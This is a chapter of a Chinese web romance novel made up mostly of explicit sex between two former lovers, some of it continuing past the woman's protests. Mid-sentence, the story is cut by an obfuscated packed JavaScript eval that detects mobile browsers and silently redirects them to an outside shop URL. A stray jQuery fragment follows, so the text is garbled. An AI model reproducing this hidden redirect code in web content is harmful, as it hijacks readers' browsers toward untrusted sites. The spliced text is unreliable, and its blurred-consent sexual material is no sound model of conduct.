紧闭的双眼刷的睁开,随奕不期然对上一双黝黑深邃的眸子。

    她愣愣地眨眨眼开始怀疑这人到底醉没醉,这兄妹俩是不是演她呢。

    刚刚那句话还有收回的可能吗?

    一阵天旋地转,她已经被被孟培风拢在身下,灼热的气息包裹着她。

    “既然你醒了,那我、唔、”

    男人的脸近在咫尺,她下意识伸手推搡却被他控住手腕压在头顶。

    “嗯~”她启唇回应他的吻,唇舌勾缠间浓郁的酒气浸入她的呼吸。

    孟培风是喝多了,但没到完全不省人事的状态,虽然脑子发蒙反应有些慢,好在意识还在。

    他本想就着这个醉意抱着心爱的人多温存一会儿,直到他听到随奕说要睡他一下。

    他愤怒又庆幸。

    都拒绝他两回了还想睡他?

    但是起码她还想睡他。

    他极具侵略性的吻让怀里的人意识逐渐模糊,随奕感觉到手可以动了,她抬臂环上他的脖子。

    灼热的呼吸拂过颈侧,她瑟缩着睁开眼,眼前是一片白中透着粉的皮肤,他的衬衫本就解了几个扣子,如今更是凌乱不堪的挂在身上露出大片肩背。

    “嗯~”她紧紧攥着他的衣领,再次对上男人黝黑的眸子,这是这次他唇色殷红。

    孟培风只是看她一眼再次低下头去,他急切地摸索着她腰侧的拉链,他喝了不少手不如平常灵活,隐形拉链的拉锁太小他失了耐心。

    “嘶啦~”清脆的布料撕裂声,吊带裙从腋下裂开一条口子。

    “我的衣服、”随奕恼得在他肩头锤了一拳,撕坏了她明天穿什么。

    “明天叫人送新的。”

    “嘤~”她咬着唇发出难耐的声音直到快要呼吸不上来才盯着屋顶猛地大喘气。

    粉紫色的裙子连着白色衬衣被甩到地上发出一声闷响。

    “啊、”她惊呼一声夹紧腿,他手掌和指尖的热度惊人。

    随奕支着身子看他,眼底闪过一丝慌乱,隔得太久了,她很不习惯被人触碰。

    孟培风温柔地在她唇瓣落下一吻:“nono别怕,我会轻轻的。”

    他指尖轻挑顺势挤了进去,随奕仰面躺回床上,手指紧紧攥着身下床单。

    他的手很好看,手指细长骨节分明,指甲修剪得很干净,就连关节都透着淡淡的粉。

    她甚至感觉自己能感受到他指腹的纹路。

    双腿无措地绞在一起,她受不住了,伸手握住他的手腕。

    “不要、慢、唔唔、”

    男人无视她的求饶以吻封缄,不知过了多久。

    “啊——”

    随奕拱起腰肢小腹颤动,眼前白光闪过,随后重重摔回床上。

    孟培风将她拢进怀里轻轻吻她:“还好吗?”

    她眨眨眼“嗯”了一声,起伏的胸膛显示她还未完全平复。

    男人抚摸着她的背帮她顺气,怀里时不时的轻颤终于停下,他知道可以进行下一步了。

    突然一股力道将他推开,随奕坐直身子瞪着一双水眸。

    “孟培风,你什么时候这么熟练了。”他以前哪里会这个,她越想越可疑,“该不会这些年没少流连花丛吧?”

    想来也是,像他这样的男人,身边从来不会缺什么花花草草。

    她竟然怀疑自己纵情声色?这简直是对他人格的侮辱。

    孟培风的脸黑了个透,他抬手捏着她的下巴咬牙切齿道:“随奕,天底下哪有这样的好事,要你不要的男人为你守身如玉。”

    她抿了抿唇抬眼看他:“那、那你守了没啊?”

    空气仿佛凝固,两人看着彼此只能听到细微的呼吸声。

    半晌男人狠狠咬上她的唇:“守了。”

    他该拿她怎么办才好,被甩了之后心心念念了这么多年,一重逢就沦陷。

    随奕眼泪汪汪地承受他的吻,唇瓣好痛好麻,她快呼吸不过来了。

    男人起身,黑色西裤落在脚边,他伸手拉开床头抽屉从里面拿出一个盒子拆开。

    她瞪大眼睛看着他的动作:“你怎么没毛啦?”

    还有这个大家伙好吓人呐,她当年怎么那么虎,看两个小视频就敢缠着他要做。

    孟培风动作一顿:“是谁要我剃的?”

    又是嫌扎又是嫌不好看,要求多得很。

    是她要他脱毛的没错,但是这都隔了好几年了,他总不能一直保持着这个习惯吧?

    “你该不会……”

    不给她问完的机会,男人直接俯身压上堵住她的唇:“现在开始,不准问这么多。”

    瞬间她眼底蓄了一汪水,她紧紧抓着他的手臂,指尖嵌入皮肉。

    “孟培风,疼~”随奕倒吸一口凉气哼唧着喊疼,“你出去。”

    她完全无法适应,眼一眨泪珠便顺着眼角滑落消失在鬓发,疼死了,她不想睡了。

    “嘶~”孟培风强忍着额角暴起青筋却还是温柔地吻去她眼角的泪:“乖,我不动。”

    “就到这儿好不好?”反正她刚刚也是爽过一回了。

    孟培风捏着她的下巴狠狠吻上去:“想要我死就直说。”

    随奕委屈地嘀嘀咕咕:“哪有这么严重。”

    “放松,别这么紧绷。”

    轻柔的吻落在她眼尾、脸颊、唇角顺着脖颈下滑,慢慢的她终于放松下来开始忍不住催促:“你快动啊。”

    闻言男人轻笑一声撞了上去。

    “啊、”她腰椎一麻下意识又绷紧了身子。

    猝不及防之下孟培风闷哼一声:“别、”

    两人四目相对,气氛一下子变得很尴尬。

    她眨眨眼眼底满是不可置信:“孟培风,你这么快就不行了?”

    她记得他二十那会儿精力特别旺盛来着。

    “原来男人过了25就是60不是夸张。”

    孟培风气得抬手在她臀上甩了一巴掌,“乱+什么。”

    他几年没碰过她,怎么可能忍得住。

    “啪!”清脆的巴掌声让随奕气红了脸,虽然不疼但是丢人啊。

    “你王八蛋!”

    片刻的功夫男人已经换了个新的重振旗鼓。

    “省着骂人的力气留着待会儿……”他俯身咬住她的耳垂,“大声点儿。”

    随奕张嘴就在他肩头咬了一口,这死男人,思维清楚说话流利,什么醉酒,就是装的。

    很快她便没了心思琢磨他装醉酒的意图,整个世界都在晃,屋顶的灯、眼前的人、墙上的影子,晃得她有点晕。

    好不容易视线聚焦,落在晃动的脚尖上,上面的紫色猫眼随着动作流动。

    “不要、我不行了~”她快要晕过去了。

    身上的男人竟然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739539|207010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    真的停下了动作,就在她以为真的要结束时,他竟然只是握着她的脚腕就这么将她给翻了个面从仰躺变成趴着。

    孟培风塞了个枕头垫在她身下:“不是要睡我吗?这么快就想结束。”

    随奕嗲着声音撒娇:“可是我好累了。”

    “不用你动。”

    “……”是不用她动,被动也累啊。

    可惜身后的男人不给她讨价还价的机会,巨大的力道带着弹性十足的床垫也跟着一起弹动。

    “慢、啊、”随奕支着上身仰头承受他的吻,被撞得声音破碎几乎说不出完整的话。

    “不要了,哥哥、停、”

    孟培风动作一顿眸光微闪,她不知道她这样叫他只会让他更兴奋。

    最后一次随奕被他抱在腿上,她只能软软地挂在他肩头,她呜咽着咬他,指甲在他背上挠出交错的抓痕。

    偶尔得了趣也会主动撑着身子扭动腰肢,但很快便没了力气趴回他胸膛。

    “啊——”

    她抖着身子向后倒去,他来不及搂住她,两人就这么分开。

    随奕仰面躺着直喘气,小腹连着大腿根抖个不停。

    “呼~呼呼~”真的要累死了。

    孟培风怜爱地在她额心落下一吻:“累了?”

    “嗯。”她仰着头索吻,他一颗心软成一汪水。

    “我想睡觉。”她迷迷瞪瞪地用脸颊蹭他的手心,“要洗澡。”

    他轻叹一声认命地抱着人去洗澡,只是不可避免地要借用她的手。

    洗完之后换了一间房,刚才的床是没法再睡人了。

    怀里的人早就睡了,柔软的身子严丝合缝地嵌在他怀中。

    孟培风将人紧紧搂着生怕她再消失不见,不知不觉中也生了睡意。

    他确实喝了不少,今晚都是在强撑。

    天光大亮,刺眼的光从窗帘的缝隙透进来,床上躺着一对男女,女人斜着趴在男人胸膛,一条腿还搭在他腰上。

    突然,床上的女人动了动。

    随奕迷迷瞪瞪睁开眼,眼前是一片胸膛,她下意识摸了摸。

    嗯,这胸肌手感真好。

    热的?!她猛地清醒,抬眼看到的是男人帅得天怒人怨的俊脸,虽然发丝凌乱却慵懒又性感。

    他一只手搂在她背上,另一只手握着她的手臂。

    记忆逐渐回笼,昨晚她是怎么色胆包天想趁着孟培风喝醉了睡他到他压根没醉于是两人颠鸾倒凤闹到天快亮的事情全都想起来了。

    疯了疯了,好色误事啊,喝酒也误事。

    但凡换个别的场景且孟培风清醒的情况下,她怎么也不敢说要睡他一下。

    几乎是瞬间她就做出了决定,她要跑路,趁着他还没醒。

    她小心翼翼地拿开他的胳膊一寸一寸地往床边挪,生怕不小心将人给吵醒。

    慢点慢点,马上就到床边了,这死酒店床弄得这么弹做什么,稍微一动床垫就开始动。

    昨晚就是被这弹性给害惨了,差点被顶飞了。

    “嘶~”她龇牙咧嘴地揉着酸痛的腰停下来歇会儿,每动一下大腿根都是剧烈的酸痛。

    太恐怖了,旷太久的男人果然不能碰,腰差点都断了。

    好不容易挪到床边,随奕掀开被子坐起身,脚刚沾着地就听到身后一道暗哑的声音。

    “怎么,又想跑?”